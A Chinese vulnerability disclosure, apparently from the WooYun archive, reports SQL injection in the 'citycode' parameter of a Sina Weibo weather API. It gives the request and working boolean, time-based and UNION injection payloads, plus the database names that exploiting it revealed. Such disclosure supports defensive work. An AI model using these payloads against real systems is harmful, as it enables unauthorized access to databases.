新浪微博某站MySQL注射（支持三种查询方式）

2019-06-03 10:40:11 作者：安三

漏洞详情

披露状态：

2016-04-27：细节已通知厂商并且等待厂商处理中
2016-04-29：厂商已经确认，细节仅向厂商公开
2016-05-09：细节向核心白帽子及相关领域专家公开
2016-05-19：细节向普通白帽子公开
2016-05-29：细节向实习白帽子公开
2016-06-13：细节向公众公开

简要描述：

新浪微博某站MySQL注射（支持三种查询方式）

详细说明：

code 区域

GET /api.php?idfa=xxxx&lang=zh-Hans-CN&limit=20&pv=3.929&ts=1461744953.516815&sv=9.310&device_id=xx&method=comments.get&resolution=1242%2A2208&conn=1&tqt_userid=88511248&sign=xx&uid=xxx&carrier=1&timezone=GMT%2B8&pid=free&citycode=CHXX0016&api_key=517276d5c1d3c&pt=3010&device=iPhone&pd=tq HTTP/1.1

Host: tqt.weibo.cn

Accept-Language: zh-Hans, en-us

User-Agent: 

Connection: close

Accept-Encoding: gzip, deflate

打了xxx都是我的敏感信息

code 区域

注入参数#citycode

漏洞证明：

code 区域

布尔盲注:' AND 6109=6109 AND 'eHNv'='eHNy

延迟注入:' AND (SELECT * FROM (SELECT(SLEEP(5)))AVuk) AND 'zYAE'='zYAE

联合查询:' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b6b71,0x6e5a67744172494e4e6342744c70784a716e674855,NULL,NULL,NULL,CONCAT(0x716a6b6b71,0x6e5a67744172494e4e6342744c70784a716e674855

code 区域

available databases [3]:

[*] information_schema

[*] test

[*] tianqitong

code 区域

当前数据库：tianqitong

code 区域

当前数据库用户：'[email protected]%'

修复方案：

过滤

版权声明：转载请注明来源 Aasron@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2016-04-29 18:51

厂商回复：

感谢关注新浪安全，问题修复中。

新浪微博某站MySQL注射（支持三种查询方式）

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 Aasron@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

发表评论
取消回复

去顶部

二零二一年03月
一	二	三	四	五	六	日
1	2	3	4	5	6	7
8	9	10	11	12	13	14
15	16	17	18	19	20	21
22	23	24	25	26	27	28
29	30	31

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 Aasron@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

网易某站s2-032命令执行可shell

南方航空某安全系统可越权访问全部安全事件报告

乐视网某多处配置不当可内网漫游

发表评论 取消回复

安三

用户登陆

注册账号

密码找回

去顶部

大家都在搜

发表评论
取消回复